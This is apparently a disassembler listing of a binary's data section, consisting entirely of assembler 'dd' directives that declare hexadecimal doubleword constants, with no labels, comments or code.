		dd 6C952994h, 85564EE8h, 0A94C234Dh, 6C424229h,	2223625Dh
		dd 6168572Ch, 604A65F2h, 0C326DB4h, 80904249h, 666492F9h
		dd 56203CD1h, 6EA80CBEh, 724C85F2h, 50213615h, 2D393158h
		dd 220D3234h, 74969A88h, 0C1A442EAh, 29686EE3h,	4938FE9Eh
		dd 684314C9h, 3A4E14EDh, 0F07C434Dh, 0D6616F52h, 0B5F61F16h
		dd 29C80A10h, 5416D770h, 45480DC4h, 0A816C974h,	56382A8Fh
		dd 4F08EDD0h, 1A66D346h, 0CDC4BA5Ah, 0A89832FBh, 0F0CB9D44h
		dd 287562A1h, 0F43990B4h, 47494C21h, 3AFFE1CAh,	9E764134h
		dd 595399B6h, 9CB6E66Bh, 4A7F218Ah, 316A563Eh, 6F6E5531h
		dd 4A243A55h, 0EA89B6C7h, 527E5221h, 21D13034h,	846FC593h
		dd 0B105BE07h, 33B65C79h, 708E0D58h, 55149534h,	4C903254h
		dd 598D33ECh, 0A24D0833h, 73F906F4h, 12D39D73h,	0F0405AADh
		dd 0BD849775h, 43B8F249h, 0C0947D0Eh, 0D4353BD2h, 50738B77h
		dd 0FC3B561Dh, 4C6B61BCh, 4F9EC6D0h, 6E4AE666h,	0A068B8A5h
		dd 130999E7h, 0F9EF6D7Ah, 0A7EDE379h, 0AD389037h, 0BF4528A8h
		dd 7871CD2Bh, 643C4C1Fh, 92CC644Eh, 2626B94Dh, 7D5D6F69h
		dd 822E9A7Ch, 25E50985h, 0C6B7723Ch, 330D7047h,	0BE8A3064h
		dd 6340EBC6h, 264DE688h, 27297972h, 0C6CE789h, 7608707Fh
		dd 7979656Bh, 0EF57E54Ah, 354744E2h, 9F254717h,	485DD259h
		dd 2D662283h, 0DBA4694Ch, 0D5563A40h, 1BBADAD0h, 473CB134h
		dd 486E5D75h, 5F682628h, 0BE73986Ch, 0F23C68E8h, 39162712h
		dd 47081199h, 0B54F3F6Ch, 4921A474h, 9D8A6717h,	75E2B848h
		dd 47850D4Ah, 284CBC79h, 338FA06Dh, 7512382Eh, 6C2D5C22h
		dd 93A6989Eh, 30291A8Dh, 17CFCA5Fh, 0A12F21C0h,	4BC4232Eh
		dd 780660EAh, 6D1C825h,	44D04008h, 3A8992E7h, 0B9A5B6ACh
		dd 1594B464h, 0A83152AAh, 966BB9A7h, 979FCC06h,	0DA342128h
		dd 95F3B455h, 0E5368645h, 8548869Ch, 2A2FBC94h,	0B1B086E4h
		dd 44BA4750h, 0F3A5725Bh, 0CBDE7FDBh, 0C3117012h, 431C4C41h
		dd 0E48319B2h, 8F9D12B6h, 0BD66533Eh, 0F376FC36h, 6E323311h
		dd 843FDC9Dh, 0EDFFD444h, 961090C5h, 6A480222h,	1080086Bh
		dd 6FA66049h, 0C611AC63h, 56784521h, 30BC88B7h,	0D8A43EEAh
		dd 0DF41760Fh, 0D05072D4h, 5343CA91h, 0D2EC13EEh, 2772AC79h
		dd 96D44853h, 846F4E62h, 88C966ABh, 1649D43Fh, 8F0B152h
		dd 10A273B9h, 4E572D18h, 7643B4CBh, 0F24ABEA4h,	5732C7D6h
		dd 4674180Ah, 64717741h, 14A12DA7h, 6D522C53h, 6D602205h
		dd 0D13A8244h, 474DFB49h, 4E284C99h, 88187C26h,	48615411h
		dd 53D40062h, 0F973683Ch, 308ABCD7h, 1228442Ch,	6871B046h
		dd 6FA0419Fh, 75E792E2h, 8A3E75A8h, 7E20415Fh, 236431C8h
		dd 4DBFB346h, 6203E6Ah,	6BBAD427h, 593E2957h, 0E97493C8h
		dd 268342C3h, 1023036Eh, 0DC4BCB4h, 0B3510C64h,	45D7D118h
		dd 0D8303E0Ch, 0A6444F54h, 0D0416844h, 48C94A58h, 56536558h
		dd 0D20D1086h, 6234EE4Ch, 1A14356Fh, 5D284289h,	0C3475B10h
		dd 6F2A410Ch, 0B8520A84h, 0B5493038h, 0B0847FD0h, 6FA24565h
		dd 5D431062h, 32146889h, 797421D2h, 405603C9h, 1A3C8C21h
		dd 287A6F4Dh, 342FB560h, 69808B0h, 4A886B9Fh, 295EF44Ch
		dd 8F6448AAh, 0F44CDBD0h, 0E1131434h, 904EE910h, 0E159B728h
		dd 6CE8557Ah, 0A714A541h, 13867CF2h, 24A11487h,	27093AC9h
		dd 0F4EF4824h, 52B6D7CCh, 34411447h, 3C46140Eh,	0A83F472Bh
		dd 0A163BA4Ch, 1C5A783Dh, 5E5E719Ah, 0FF376839h, 4B8C7669h
		dd 5BB8D351h, 0D7C42586h, 0C6A106Dh, 42346837h,	0E38E7962h
		dd 10405036h, 101E51A4h, 42902CD1h, 33E60C45h, 62C970FAh
		dd 0E0893E61h, 69E610AFh, 5839BDE1h, 6962C47Ah,	0AB3458D9h
		dd 3AA8B776h, 1508C80Ch, 7424F873h, 7C4DBCC2h, 987DC7D0h
		dd 450886E9h, 680FF673h, 2110E86Ch, 0A45F15C9h,	536F0CD1h
		dd 3AC519FAh, 0AB2691Fh, 1AE0BA6Ch, 537C6007h, 0A2CF9041h
		dd 706241BCh, 23520C55h, 0C95AA8FDh, 0EE75C2EEh, 5F7C8141h
		dd 461D07C7h, 69734944h, 1D6D0F7Ch, 183E4FFh, 0C876FD63h
		dd 5357F721h, 724B0C7Ah, 775480B8h, 5F322673h, 0CC6C529Ah
		dd 6A624F17h, 10277474h, 58A24365h, 0BE73693Dh,	0A15048A0h
		dd 3DA14B24h, 3C434249h, 0EF722C36h, 32142F52h,	38D42485h
		dd 455C58A2h, 0A3AD2DD2h, 773614A4h, 9D634FA2h,	0DE140D64h
		dd 672C3164h, 47713164h, 0A54EAC66h, 7D4C26C8h,	690C8196h
		dd 0BF757564h, 0A779F604h, 6CF25AB7h, 538D8C4Ch, 737E0258h
		dd 66B4C371h, 150D10CDh, 0DC468477h, 71691543h,	11C82AFCh
		dd 0E6821EAh, 0D0247568h, 105A0F48h, 0D64D4310h, 72824D9Ch
		dd 6AE83025h, 0F206D6D6h, 4A2E6B6Fh, 49BC1350h,	0BCC4676Ah
		dd 266F4C35h, 0D1136811h, 50AE7EB9h, 0A66F2CCAh, 435D5B8h
		dd 0DB4B154h, 686E2DABh, 32C8A319h, 0C551216Ch,	53797210h
		dd 41340A0Fh, 0A1EE6A30h, 59814D12h, 2283B443h,	43673450h
		dd 88A45B0Eh, 6A88BB76h, 0A20EAD58h, 4A09F3B2h,	1410DD34h
		dd 0FE54890Ah, 24411549h, 8EB38169h, 0D1541948h, 2903DB11h
		dd 963169B4h, 24CA5C73h, 420ACD6Ch, 0DB60628Fh,	40AA6472h
		dd 0BB440E39h, 0A43C4868h, 8C54232Dh, 79F162F1h, 0E049825Dh
		dd 46C10B1Dh, 829B94EAh, 0BB68C48Dh, 0AF0029F5h, 0CE14864Ah
		dd 0BA64EC8Ah, 0D5A47249h, 9B30DA5Bh, 9C08F635h, 0D36D120Fh
		dd 0C9F546EFh, 79129C95h, 73521C29h, 8C7B27D1h,	4E7BEB27h
		dd 0AA1D75CEh, 6A750A11h, 0D634D321h, 176A11AAh, 84FD534Eh
		dd 0D2824F5h, 0A4BF6B81h, 6312E728h, 6F4D9131h,	0A2412F2Dh
		dd 1AEBC405h, 953B79DFh, 294E223Bh, 21E81078h, 9C9BD6Ah
		dd 6187090Fh, 530170C1h, 0EE40656Eh, 9349ADFh, 7AF5B394h
		dd 0C01AB5A9h, 236C32E1h, 1CCF93CCh, 0B77ADF40h, 4CE72C73h
		dd 5BB49B1Fh, 0D06AA2C8h, 9C412734h, 0E294BDC8h, 1319FB9Dh
		dd 2E70C44Fh, 9653271Ah, 20338F5Ch, 727029F0h, 3C49791Ah
		dd 3579E400h, 1A42EC2Ch, 34714EF2h, 5AF234C8h, 0C4188520h
		dd 0D02CB257h, 0BA57AC9Ch, 0C74E85E8h, 74659A47h, 35DA62BFh
		dd 0A18DAC80h, 234BD9E9h, 0E734D194h, 76AA7364h, 6E9514A3h
		dd 496D12A4h, 655C8852h, 72C9E997h, 122E7A9Bh, 41EC99DCh
		dd 35747566h, 9B4B63F3h, 0BB928C80h, 0B6846373h, 2F203D12h
		dd 6B6EB7F3h, 0C6BD40E0h, 1B667138h, 863A0A0Dh,	6B414048h
		dd 99E9D412h, 0D3315022h, 6669161Eh, 19D4AAB4h,	67C31027h
		dd 8D5AD66Fh, 0EA731C27h, 2E17C29Ch, 69646162h,	0DDFC634Fh
		dd 0DD2313Ah, 45CA5C42h, 9E521D0Ah, 49440047h, 253E3454h
		dd 701D40BEh, 70165C53h, 9E1C3D50h, 0AD153E94h,	3C5B7820h
		dd 59814B48h, 434F4C5Fh, 4DB3D341h, 49C76FA7h, 0BE5CF54Eh
		dd 0CABE6E5Dh, 787202DDh, 9D5C929Eh, 0FC48E6B7h, 6AFF5442h
		dd 0F1C43D85h, 5D7390D1h, 22CB5D4Bh, 0FA498F7Eh, 20425D9Fh
		dd 221D474Ah, 3E6A2E3Dh, 0E449D59Dh, 41643DD6h,	0D49919E8h
		dd 8D483C94h, 28FD6416h, 1303A14h, 0D599348Ah, 61757761h
		dd 0AF7D1129h, 8E855E95h, 9E31A6B2h, 0AFDBE791h, 0EF8F34AFh
		dd 0F8ED8E90h, 577C5446h, 9C975279h, 3C4F586Fh,	62F78043h
		dd 8A79616Eh, 0A74D4F09h
		dd 25FA4E36h, 6B1CBCDCh, 2E879A4Ch, 4857CCEAh, 4C026F0Bh
		dd 0B79F6173h, 2B50CEBDh, 6E3D50DFh, 977956CAh,	43AFF128h
		dd 0AA9B3195h, 2875DD93h, 64E650BCh, 24D89DB2h,	0CF4E4174h
		dd 273A4C76h, 0B7635EC1h, 43A32648h, 30D42654h,	5E066D0Ah
		dd 0C064CA81h, 45A1DC3Eh, 0AB1F36BEh, 97614E7Eh, 6F938A32h
		dd 5C9570ABh, 89754142h, 57EA98CBh, 5363916Bh, 46327BBDh
		dd 0B93542F6h, 54ECE00Bh, 0CAF170EAh, 0B8563551h, 0BEA28528h
		dd 68FDF7CCh, 0E7C14B15h, 0C6BB4264h, 7495B45Ah, 2C7E0291h
		dd 0EF305049h, 0A181758Ah, 44747434h, 0CA846D4Fh, 324F8B6Eh
		dd 0C2584C8Bh, 6249248Dh, 1247128Fh, 0A279F0DCh, 49867E19h
		dd 14491A97h, 43490487h, 0EE52504Dh, 0B92F2664h, 4750B0D2h
		dd 740C5766h, 660CCB65h, 71857CD2h, 0BC2544D1h,	3415102Eh
		dd 0F14247CBh, 3A796C85h, 0B3AF7742h, 95899449h, 48EFD58Ah
		dd 48275D7Dh, 0B7557787h, 9B61C487h, 644BE77Ch,	0D2768502h
		dd 0BAED8B70h, 77AA5E1h, 0C6AB6310h, 0D07585CDh, 50014354h
		dd 30323331h, 4932704Fh, 1E1F33B2h, 7028FE4Bh, 0BA75B6AAh
		dd 33D26D3Dh, 388C32CCh, 42E49EA7h, 0CE0DA8C9h,	0CC6F3403h
		dd 32344B9Eh, 48376BA2h, 5E3B9137h, 0D42F0024h,	4293A293h
		dd 1682B46Bh, 0ADA29F36h, 2F7521FAh, 20C76D5Ah,	6AD34D64h
		dd 4CD4D775h, 12EB54EEh, 0D15769BEh, 0F904DE9h,	0B2312435h
		dd 79530FD6h, 6B29416Eh, 0D645964Ah, 5F3E32C4h,	0C2D90D64h
		dd 92D4253Eh, 97677929h, 0B4D50D0h, 48425554h, 4A9D1829h
		dd 83954664h, 5123DAF1h, 8DBE672Eh, 783A6854h, 8AC45BF6h
		dd 8D34403Ch, 594AC349h, 554DAF7Ah, 0FC37736Eh,	0A53CD191h
		dd 3538250Bh, 697826C6h, 1333D22Fh, 43E0F66Fh, 0BDEDDB3Bh
		dd 0BA413B6Fh, 2EA0742Ah, 8CC59537h, 0BF69754Dh, 27EFC5C2h
		dd 7D7F3216h, 0F5DBE15Fh, 0FCCB2273h, 9270F849h, 9100901Ah
		dd 68795230h, 6A657AFBh, 27C14A6Eh, 0ED5E79E2h,	15244F1Fh
		dd 0C9FD97EBh, 4AFF2D2Ah, 96AE985h, 97251856h, 951ACB3Ah
		dd 523B9A58h, 5834DE61h, 6DDA733Bh, 38850CEEh, 9E187CDAh
		dd 5842D269h, 4767F21Dh, 9FA7269h, 0B16C7830h, 6DC252CFh
		dd 2CBB04Dh, 4E79702Ah,	69AF9120h, 9EC9AE17h, 0B3D694CAh
		dd 0FA4770F0h, 7C61C8B7h, 78614D13h, 658B00ACh,	0C183F8E4h
		dd 58CFA9DDh, 0A732E8B3h, 48BBE840h, 0D235C83Eh, 7435B008h
		dd 4A004F5Dh, 0FB4342F4h, 0D247B848h, 0A4BA1F79h, 31435E6Bh
		dd 1EF08DE5h, 0F532CEEEh, 6CACAD3Ah, 2CE7CF4h, 14B6F238h
		dd 0AADE52E4h, 6B2E8F34h, 534E4482h, 5E93A59h, 94B4207Eh
		dd 29370328h, 2C31333Ah, 48036E43h, 0B20C430Fh,	38431E34h
		dd 0F0CFE1DFh, 4E827F96h, 33AFBF94h, 4C8A5475h,	3496BEEFh
		dd 5651017Eh, 0CA43842Bh, 4906627Bh, 5C20D86Eh,	2D485D66h
		dd 4EFF494Ch, 0B2EACEE5h, 9C923448h, 55065F5Eh,	9C5E6470h
		dd 8A4C5199h, 82206C9Fh, 0FA6A9D75h, 8B126E27h,	71483F76h
		dd 86B7295Dh, 0EC4D7049h, 6F3A1ED6h, 66944ECEh,	106BDF41h
		dd 0E758ED56h, 0A1444434h, 0EF2D6840h, 2CFB3D4Fh, 7E4CEF1Bh
		dd 6A5AC992h, 732E1434h, 1EB62693h, 62FAF498h, 37C78593h
		dd 0FC31F4CEh, 0ADD2DE48h, 38998DC4h, 1FDA3859h, 0D845392h
		dd 0E94BA1F1h, 3C6CE1F5h, 738772D2h, 44986344h,	9170F5A2h
		dd 0E0526487h, 0D2537662h, 42E8AD24h, 3835B1CAh, 0A5389FCAh
		dd 0D73894A8h, 36C89A25h, 3269A133h, 0CAF4BC67h, 0F233CEB0h
		dd 0B54A067Ah, 2176BF7h, 3414A09Eh, 4AAE3462h, 5B3192B1h
		dd 95AE6FDEh, 62A96F35h, 57640ED3h, 7A85D261h, 1FB22384h
		dd 4EDF99F9h, 0A5366D4Ch, 2D40DF7Dh, 0DC8301B4h, 0F32CB3DCh
		dd 56508A46h, 0DA59CF99h, 0FDE72267h, 49186BA6h, 0C5267353h
		dd 0BE5A92ADh, 68758D84h, 0AF4EA5AEh, 0B1685A9Eh, 39313D54h
		dd 7E376696h, 5E572C5Ch, 21592777h, 2F9A73B4h, 0D621B2F5h
		dd 31C95ACFh, 1FDA9073h, 5F73E9E1h, 715543D0h, 784EEE52h
		dd 0BC7A9754h, 0A9E35C4Bh, 3955FEA9h, 9C2E20ABh, 5B935DEFh
		dd 2F16575Ah, 5702735Fh, 74305F31h, 35775E19h, 1DDA40A5h
		dd 56F7483Dh, 41545312h, 2F1C07FEh, 9B496757h, 1CB3C35Bh
		dd 2569DD53h, 0B20F17Eh, 10308D12h, 4AAC9E2Eh, 5E6499E4h
		dd 0C92FA76Eh, 0F3B47D4Eh, 0A5796223h, 622D6AD9h, 0E44415EAh
		dd 3A20CD55h, 0FBE1D294h, 0FA7B996Bh, 0F950BB87h, 2E959177h
		dd 77F4444Ah, 11FFBD2Fh, 4B7974CEh, 0E2AAA438h,	0D56724E9h
		dd 0F55246C8h, 70664047h, 8847BF49h, 2CEE55E9h,	0C5AB0BD2h
		dd 2FFE2Ah, 0AAB44042h,	3DD169F6h, 753C38A4h, 7B70642Bh
		dd 0A77955FAh, 23574048h, 4D5D7A7Bh, 0D29BA40h,	8D7E94Ch
		dd 0D8DA4CC4h, 9564FA8Fh, 0DE255C59h, 927F4907h, 7011F7B5h
		dd 110AAF70h, 50352EDAh, 50CA441Eh, 8D5692Bh, 0FEBC89BFh
		dd 0CCC8C3BFh, 0E4574C1Ah, 548085E8h, 0FD448AD1h, 177EDF7Bh
		dd 63EC4F49h, 0D7481EF9h, 0ED932BB9h, 49D7D13Fh, 28A2708Fh
		dd 86B6E7F4h, 6808C826h, 5B136D9Ch, 0D49DEF0h, 5D4F464Eh
		dd 5043ECB6h, 250F5567h, 753436F0h, 7A481A4Dh, 427D222Eh
		dd 73110122h, 9354424Bh, 2C6C9105h, 50660C22h, 0F53DD7B9h
		dd 291F1474h, 4F1B181Dh, 0DC325369h, 2F2553A5h,	4CE15428h
		dd 75514244h, 297C03E0h, 0BB1494Eh, 41F5113Bh, 0BB481D64h
		dd 51242564h, 2AAB26EAh, 0A5FA5B95h, 293AA142h,	32F76A5Fh
		dd 8E63580Ch, 0E155510Ch, 0B22F0E1Dh, 4D6F7ABCh, 0A079C802h
		dd 9D9AA4F8h, 724B7372h, 6D78D5F3h, 3B49DB68h, 6D0DACF5h
		dd 90218B7h, 58E368F4h,	40087C50h, 45404D4Bh, 4E384039h
		dd 35115464h, 452F5B0Fh, 2A2C2952h, 0AC789484h,	0B6B7B049h
		dd 76D3C8BEh, 4E1C9484h, 4C1C412Fh, 399070FBh, 2E2D2EA1h
		dd 6FA501C7h, 0CD1D29FEh, 0D6D42764h, 0E65F6BF9h, 39FAB589h
		dd 4FB52EB5h, 2EEAD87Eh, 475A44A5h, 0A5D12FA6h,	0D37D5E27h
		dd 0D2402A85h, 5522D8AFh, 604C5234h, 5FD6B43Eh,	0FC72D2E1h
		dd 40AADE96h, 0C0211E9Bh, 1871D0FEh, 8018889Ah,	35E52F2Ah
		dd 24E4EED0h, 40B3D6Eh,	0BEFC5B2Dh, 934ABD4Dh, 94EC5DF3h
		dd 0C583BEB4h, 524C564h, 0A5F84BEh, 0E4053A09h,	0C930AA5Dh
		dd 73353103h, 0E1344A2Ch, 0F03EE3BAh, 2E329B20h, 2825259Ch
		dd 0B473A0E1h, 4CC4171Bh, 6B31B186h, 0D5FC17BBh, 421763ADh
		dd 0AAA4ACFAh, 12A415A2h, 0F4F4AD82h, 420B307Ah, 310B6765h
		dd 6843C0D6h, 848E5C2h,	22019198h, 173C87D0h, 6E4F1664h
		dd 15C74138h, 63029C08h, 97C49D8Eh, 4817B48Ah, 721E19E9h
		dd 4490454Eh, 4DF34BEFh, 0FE7C6C68h, 66295355h,	2C2E2BE8h
		dd 0E6577DAh, 3F965549h, 0A66BD195h, 2F1D4D78h,	54D16BF3h
		dd 0B40338F9h, 72D4B83Fh, 61C0E3D2h, 4344015Eh,	45261DC7h
		dd 0E67DE84Eh, 4803A469h, 45AB3401h, 6F2E94B3h,	4AA659A6h
		dd 0AC5335E3h, 26F362E8h, 90B342F4h, 6325BE38h,	0EA21F4D9h
		dd 25D574CAh, 0B772CE56h, 0F258A376h, 0CFB90471h, 0C49078A9h
		dd 8D3446BEh, 883FF766h, 9BD7774h, 69B05D25h, 62522B61h
		dd 9175BC44h, 3C3D68F6h, 1D644CD2h, 0ADDB164h, 16E8D2BCh
		dd 61276C3Ah, 422E6D3Eh, 36ACF61h, 0D0E89F34h, 0D06CA24Bh
		dd 0CD4BBB40h, 0B5982EBBh, 9798AE3Ah, 0FE6917F1h, 4C155A49h
		dd 17324465h, 9EBE465h
		dd 424B6631h, 402531F7h, 0EC2B0F4Dh, 72A47982h,	0A08529A4h
		dd 0B4FD54DAh, 24D175A0h, 8CD75174h, 8DAF75AFh,	428ED7BEh
		dd 7243BC4Ch, 49B99952h, 0C4554CC2h, 9129F4F9h,	46677E60h
		dd 7A45736Fh, 0F54197E2h, 0E440177Bh, 48AD3A6Ah, 4EA8B252h
		dd 0CE49F7E0h, 0A0681237h, 1CA37D8Ch, 975A4BA3h, 0D7CE6914h
		dd 4DF6FB97h, 6BCA607Dh, 4E67B8E5h, 4A0BAC67h, 24B27FA9h
		dd 4612EFFh, 34FE6443h,	0C2DFF14Dh, 89E766Ch, 459D86A0h
		dd 0B0295ACCh, 0C4497BD6h, 5CFB9EF5h, 76610988h, 5622A9D3h
		dd 0CB509F2Eh, 6F3BFF4Dh, 0CAEC739Ah, 5F54CA96h, 3A415043h
		dd 1A0B815Ch, 1B58108Ch, 11C4A608h, 8D040CCEh, 494BF15h
		dd 0B5780428h, 0C202EF3h, 7073FF80h, 0F911B0E3h, 0E42E3920h
		dd 35E4A462h, 0BA096968h, 0FCEC7D1Fh, 55056A12h, 140F7375h
		dd 7CB83E23h, 31F8704Bh, 18651CD1h, 6BDA4B6Ch, 92FF388Bh
		dd 55201C5Ch, 2B94A654h, 26DC1B66h, 0F6C1415h, 8910B993h
		dd 23AC8846h, 574D196Ch, 2BC7302Dh, 4D692578h, 0D31C6674h
		dd 3704A444h, 312D3872h, 8B89232h, 1C1FE904h, 101A439Ch
		dd 751F5C09h, 50AA5292h, 4AFA3030h, 3843C1E7h, 784C4FA1h
		dd 30B24B00h, 0C2CC09BDh, 6598ACA2h, 8C884361h,	1830F009h
		dd 7009CCE4h, 9CCA819h,	89B019DCh, 0C81199D0h, 0B812C009h
		dd 0A448AC24h, 90229C91h, 89848C44h, 69881080h,	0BC57A842h
		dd 2091DA8Fh, 99686039h, 5C096419h, 58995412h, 2440124Ch
		dd 44E25E38h, 18892028h, 8241012h, 0F820225Ch, 9F0642Fh
		dd 91E448E8h, 81D422DCh, 1199CC6Ch, 12BC09C4h, 48AC24B4h
		dd 229C91A4h, 7C844490h, 74127889h, 68487024h, 58226091h
		dd 89445044h, 24301238h, 91244828h, 440C2218h, 2E56FC04h
		dd 11F433E8h, 0EC63E5ECh, 0DC113EE4h, 0D31C4941h, 9C81132h
		dd 48B424C0h, 22A091A8h, 0D494449Ch, 8CA8B750h,	98811CCh
		dd 12788980h, 48642470h, 2258915Ch, 44484450h, 3C124089h
		dd 2C483424h, 18222491h, 88040C44h, 0F4812DFCh,	0E424EC12h
		dd 0D891DC48h, 0D044D422h, 12C489C8h, 48B824C0h, 22A891B0h
		dd 909844A0h, 84128889h, 74487C24h, 60226C91h, 89505844h
		dd 24401244h, 9134483Ch, 4424222Ch, 0C89141Ch, 0F8880817h
		dd 22F0112Ch, 0D8E044E8h, 0C812D089h, 0B848C024h, 0A022B091h
		dd 89909844h, 24701280h, 91644868h, 445C2260h, 44894C54h
		dd 30243C12h, 0F0892448h, 20400663h, 9186411h, 910C4810h
		dd 2BFC1004h, 0E844F422h, 954C88DCh, 11D450CCh,	0C409C8CCh
		dd 0B022BC91h, 899CA844h, 24881294h, 91784880h,	4464226Ch
		dd 4889545Ch, 38244012h, 28913048h, 18442022h, 17088910h
		dd 2AF48808h, 0E422EC11h, 89D4DC44h, 24C012C8h,	91AC48B8h
		dd 449C22A4h, 80898C94h, 70247812h, 5C916848h, 4C445422h
		dd 123C8944h, 482C2434h, 221C9124h, 0C2084510h,	6429F423h
		dd 48E009E9h, 22CC91D4h, 0B4BC44C4h, 0A412AC89h, 94489C24h
		dd 84228C91h, 89707C44h, 24601268h, 914C4854h, 443C2244h
		dd 20892C34h, 10241812h, 44B80848h, 0F02840F8h,	0E012E889h
		dd 0D048D824h, 0C022C891h, 89ACB444h, 249812A4h, 91884890h
		dd 44782280h, 5C896870h, 4C245412h, 3C914448h, 2C443422h
		dd 12188920h, 5C082410h, 27F83622h, 0E44409F1h,	12D089DCh
		dd 48C024C8h, 22B091B8h, 98A044A8h, 84128C89h, 74487C24h
		dd 64226C91h, 89545C44h, 2444124Ch, 9134483Ch, 4424222Ch
		dd 8891018h, 0F88D0817h, 991F126h, 44E022E8h, 0C889D0D8h
		dd 0B424C012h, 0A491AC48h, 94449C22h, 1284898Ch, 4874247Ch
		dd 2260916Ch, 444C4458h, 30123889h, 18482424h, 8221091h
		dd 25F811E1h, 0E409E9B2h, 0D048D824h, 0BC22C491h, 89ACB444h
		dd 249C12A4h, 918C4894h, 44782280h, 60896870h, 4C245812h
		dd 38914048h, 24443022h, 1214891Ch, 24FC2208h, 0EC48F404h
		dd 0DC22E491h, 89CCD444h, 24B812C4h, 91A848B0h,	449822A0h
		dd 7C89848Ch, 68247412h, 58916048h, 48445022h, 1234893Ch
		dd 4820242Ch, 22109118h, 0F811E108h, 9E9B223h, 48D824E0h
		dd 22C491D0h, 0A4B044BCh, 94129C89h, 7C488824h,	6C227491h
		dd 895C6444h, 244C1254h, 913C4844h, 442C2234h, 0C891820h
		dd 0F8220412h, 48F00422h, 4CC897E8h, 0D411E010h, 91CC09C8h
		dd 44B822C0h, 9C89A4ACh, 8C249412h, 7C918448h, 68447022h
		dd 1254895Ch, 48402448h, 222C9138h, 101C4424h, 0FC110489h
		dd 45E1BA21h, 22E00991h, 0C0C844D4h, 0B012B889h, 9C48A424h
		dd 84229091h, 89747C44h, 2464126Ch, 9154485Ch, 44402248h
		dd 24893038h, 14241C12h, 4910C48h, 0E120F81Bh, 0F9225EA4h
		dd 0CC450916h, 0C4338C2Dh, 922BC11h, 0A0AC44B4h, 90129889h
		dd 80488824h, 6C227891h, 895C6444h, 244C1254h, 913C4844h
		dd 442C2234h, 14891C24h, 112E0C12h, 0F91FF81Bh,	44E40922h
		dd 0C889D4DCh, 0B024BC12h, 9C91A848h, 8C449422h, 127C8984h
		dd 486C2474h, 225C9164h, 3C444450h, 2C123489h, 18482024h
		dd 8221091h, 1EF811E1h,	0E809E1B2h, 0D848E024h,	0C822D091h
		dd 89B8C044h, 24A812B0h, 919848A0h, 44882290h, 6C897880h
		dd 5C246412h, 44915048h, 34443C22h, 1220892Ch, 5C0C2418h
		dd 1DF83622h, 0E44409E9h, 12CC89D8h, 48BC24C4h,	22AC91B4h
		dd 909844A0h, 7C128489h, 6C487424h, 58226091h, 89485044h
		dd 24381240h, 91284830h, 45142220h, 0F823C20Ch,	9E1641Ch
		dd 91E048E8h, 44CC22D8h, 0AC89B4C0h, 9C24A412h,	8C919448h
		dd 7C448422h, 126C8974h, 485C2464h, 224C9154h, 303C4444h
		dd 20122889h, 10481824h, 0FC100891h, 44F4221Bh,	0DC89E4ECh
		dd 0CC24D412h, 0BC91C448h, 0A444B022h, 1294899Ch, 48802488h
		dd 22709178h, 50584464h, 40124889h, 30483824h, 20222891h
		dd 89101844h, 8D081708h, 0D2E91AF8h, 8B7C112Fh,	0F9225FE4h
		dd 0B4440916h, 12A089ACh, 488C2494h, 227C9184h,	5C684470h
		dd 4C125489h, 3C484424h, 28223091h, 89142044h, 2204120Ch
		dd 0F40419FCh, 0E491EC48h, 0D444DC22h, 12C089CCh, 48B024B8h
		dd 229C91A8h, 848C4494h, 74127C89h, 64486C24h, 54225C91h
		dd 89404844h, 24301238h, 911C4824h, 440C2214h, 1840FC04h
		dd 12E889F0h, 48D824E0h, 22C891D0h, 0A8B444BCh,	94129C89h
		dd 84488C24h, 74227C91h, 89646C44h, 24501258h, 91404848h
		dd 452C2234h, 1024FE20h, 44B80848h, 0E9176EF8h,	228B7891h
		dd 0C844D409h, 12B489BCh, 48A024ACh, 22909198h,	74804488h
		dd 60126889h, 4C485424h, 3C224491h, 89283444h, 24181220h
		dd 0B8084810h, 166EF844h, 8B7891E1h, 0C8225FE4h, 0B491C009h
		dd 9C44A822h, 12888994h, 4870247Ch, 22609168h, 48504458h
		dd 38124089h, 28483024h, 14221C91h, 88040C44h, 0F48115FCh
		dd 0E024E812h, 0D091D848h, 0C044C822h, 12B089B8h, 48A024A8h
		dd 22909198h, 78804488h, 64127089h, 54485C24h, 40224891h
		dd 89303844h, 24201228h, 91104818h, 0F8887008h,	12F08114h
		dd 48E024E8h, 22D091D8h, 0B8C044C8h, 0A812B089h, 9848A024h
		dd 88229091h, 89788044h, 24681270h, 91544860h, 44402248h
		dd 28893038h, 18242012h, 8911048h, 13F88870h, 0F122F9DDh
		dd 45BEC817h, 64912FF2h
		dd 0AC48B409h, 9822A091h, 89849044h, 2470127Ch,	91604868h
		dd 44502258h, 34893C44h, 24242C12h, 14911C48h, 11E10822h
		dd 0E9BA12F8h, 92CE245h, 12CC89D4h, 48BC24C4h, 22AC91B4h
		dd 949C44A4h, 84128C89h, 70487C24h, 5C226891h, 894C5444h
		dd 243C1244h, 912C4834h, 44182224h, 848B0810h, 0F111F846h
		dd 440916E9h, 0C889D4DCh, 0B824C012h, 0A891B048h, 9844A022h
		dd 12848990h, 4874247Ch, 2264916Ch, 44504458h, 34123C89h
		dd 24482C24h, 14221C91h, 23C20C45h, 0E97410F8h,	0E009228Bh
		dd 89D0D844h, 24C012C8h, 91B048B8h, 44A022A8h, 84898C98h
		dd 74247C12h, 64916C48h, 54445C22h, 1244894Ch, 4834243Ch
		dd 2224912Ch, 0C14441Ch, 0F444848Bh, 91EC080Fh,	44DC22E4h
		dd 0C089C8D4h, 0B024B812h, 0A091A848h, 90449822h, 12808988h
		dd 48682474h, 22589160h, 40484450h, 30123889h, 20482824h
		dd 10221891h, 40F80444h, 0E889F00Eh, 0D824E012h, 0C491CC48h
		dd 0B044B822h, 129C89A8h, 48842490h, 22709178h,	58604468h
		dd 48125089h, 38484024h, 28223091h, 89182044h, 2E081210h
		dd 0DF81B11h, 225EA4E9h, 0B2C817F9h, 0B824C009h, 0A491AC48h
		dd 94449C22h, 1284898Ch, 4874247Ch, 2264916Ch, 4C54445Ch
		dd 38124089h, 24483024h, 14221C91h, 23C20845h, 0E9640CF8h
		dd 0DC48E409h, 0CC22D491h, 89BCC444h, 24A812B0h, 9190489Ch
		dd 44802288h, 68897078h, 58246012h, 48915048h, 34444022h
		dd 1224892Ch, 5F14241Ch, 0FC0444E2h, 9E90B6Ch, 12E089E8h
		dd 48C824D4h, 22B891C0h, 9CA844B0h, 8C129489h, 42BEF821h
		dd 6411EC46h, 486C0978h, 22589160h, 40484450h, 2C123889h
		dd 1C482424h, 0C221491h, 40FC0444h, 0E889F40Ah,	0D424E012h
		dd 0C491CC48h, 0B444BC22h, 12A089ACh, 488C2498h, 227C9184h
		dd 646C4474h, 50125C89h, 40484824h, 2C223891h, 89142044h
